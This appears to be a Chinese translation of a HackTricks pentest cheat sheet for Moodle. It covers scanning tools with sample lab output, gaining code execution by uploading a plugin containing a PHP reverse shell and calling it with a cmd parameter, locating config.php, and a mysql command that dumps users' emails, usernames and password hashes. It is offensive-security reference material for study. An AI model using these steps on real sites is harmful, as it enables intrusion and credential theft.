# Moodle
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 如果您在**网络安全公司**工作?您想在**HackTricks中看到您的公司广告**?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列 * 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter上**[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**关注我**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
如果您对**黑客职业**感兴趣,并且想要黑掉不可黑的 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。 {% embed url="https://www.stmcyber.com/careers" %} ## 自动扫描 ### droopescan ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// [+] Plugins found: forum http://moodle.schooled.htb/moodle/mod/forum/ http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): 3.10.0-beta [+] Possible interesting urls found: Static readme file. - http://moodle.schooled.htb/moodle/README.txt Admin panel - http://moodle.schooled.htb/moodle/login/ [+] Scan finished (0:00:05.643539 elapsed) ``` ### moodlescan (Translation not required for the title as per instructions) moodlescan 是一个针对 Moodle 平台的自动化扫描工具。它可以帮助您发现潜在的安全漏洞和配置错误。 ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 x-powered-by : PHP/7.4.15 x-frame-options : sameorigin last-modified : Wed, 07 Apr 2021 21:33:41 GMT Getting moodle version... Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta Searching vulnerabilities... Vulnerabilities found: 0 Scan completed. ``` ### CMSMap ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs 我发现自动工具在**发现影响moodle版本的漏洞**方面几乎**无用**。你可以在[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)上**检查**它们。 ## **RCE** 你需要拥有**管理员**角色,并且可以在**"网站管理"**标签下**安装插件**: ![](<../../.gitbook/assets/image (447).png>) 如果你是管理员,你可能仍需要**激活这个选项**。你可以在moodle权限提升PoC中看到如何操作:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 然后,你可以**安装以下插件**,它包含了经典的pentest-monkey php r**ev shell**(_在上传之前你需要解压它,更改revshell的IP和端口,然后再次压缩它_) {% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %} 或者你可以使用来自[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)的插件来获取带有"cmd"参数的常规PHP shell。 要访问并启动恶意插件,你需要访问: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST ### 查找数据库凭证 ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` ### 从数据库中导出凭证 ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` 如果您对**黑客职业**感兴趣,并且想要黑进那些不可黑的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。 {% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要获得**PEASS最新版本**或**下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏 * 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**